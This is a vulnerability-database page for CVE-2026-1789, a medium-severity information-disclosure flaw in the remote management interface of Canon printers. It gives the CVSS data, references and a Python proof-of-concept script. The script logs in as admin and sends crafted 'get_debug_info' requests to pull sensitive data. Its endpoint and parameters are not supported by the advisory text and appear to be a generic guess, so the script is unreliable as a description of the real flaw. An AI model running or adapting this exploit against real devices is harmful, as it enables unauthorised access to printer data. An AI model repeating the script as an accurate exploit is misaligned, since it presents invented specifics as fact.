CVE-2026-1789

Description

A vulnerability in the browser-based remote management interface may allow an administrator to access sensitive information on the device via crafted requests, affecting certain production printers and office/small office multifunction printers.

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

请参考 Canon 安全通告 CP2026-003 获取具体受影响型号及固件版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Canon Printer Information Leakage PoC
# CVE: CVE-2026-1789

target_url = "http://printer-ip:8080/remote/api/config"
session = requests.Session()

# Step 1: Authenticate as Admin (Required due to PR:H)
# Note: Attacker needs valid credentials
login_data = {"username": "admin", "password": "password"}
session.post(target_url.replace("config", "login"), data=login_data)

# Step 2: Send crafted request to access sensitive info
# Modifying parameters to trigger information disclosure
payload = {
    "action": "get_debug_info",
    "verbose": "true",
    "include_sensitive": "1"
}

response = session.get(target_url, params=payload)

if response.status_code == 200:
    print("[+] Vulnerability Exploited Successfully!")
    print("[+] Sensitive Data Leaked:")
    print(response.text)
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1789
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1789
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1789/
[4] VulDB https://vuldb.com/cve/CVE-2026-1789
[5] https://canon.jp/support/support-info/260423vulnerability-response
[6] https://psirt.canon/advisory-information/cp2026-003/
[7] https://www.canon-europe.com/support/product-security/
[8] https://www.usa.canon.com/about-us/to-our-customers/cpa2026-003-vulnerability-mitigation-remediation-for-production-printers-and-office-multifunction-printers

Raw JSON Data

JSON

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